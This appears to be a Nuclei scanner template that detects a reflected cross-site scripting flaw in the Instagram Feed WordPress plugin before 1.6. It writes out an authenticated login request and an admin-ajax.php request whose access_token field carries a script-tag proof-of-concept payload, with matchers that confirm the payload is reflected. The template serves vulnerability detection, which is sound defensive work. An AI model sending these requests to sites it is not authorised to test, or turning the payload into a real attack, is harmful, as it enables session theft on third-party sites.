Description
The Instagram Feed WordPress plugin before 1.6 contains a reflected cross-site scripting (XSS) vulnerability due to improper sanitization of user-supplied input, allowing attackers to inject malicious scripts via crafted requests.
The Instagram Feed WordPress plugin before 1.6 contains a reflected cross-site scripting (XSS) vulnerability due to improper sanitization of user-supplied input, allowing attackers to inject malicious scripts via crafted requests.
id: wp-instagram-feed-xss
info:
name: Instagram Feed < 1.6 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
The Instagram Feed WordPress plugin before 1.6 contains a reflected cross-site scripting (XSS) vulnerability due to improper sanitization of user-supplied input, allowing attackers to inject malicious scripts via crafted requests.
impact: |
Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
remediation: |
Update to version 1.6 or later.
reference:
- https://dumpco.re/blog/xss-instagram-feed
- https://wordpress.org/plugins/instagram-feed
metadata:
verified: false
max-requests: 2
public-www: "/wp-content/plugins/instagram-feed/"
tags: wordpress,wp,instagram-feed,xss,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=sbi_auto_save_tokens&access_token=<script>alert(document.domain)</script>
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>")'
condition: and
# digest: 4a0a00473045022053a8407f0907c53e4b6476e7251bb54ddf2c9e022b5bc6be00140776c21a2d54022100c45c4aafaabbb2fb2ecb868f1a11eed1e956218935ff57f5e9dd73b3f7232d63:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.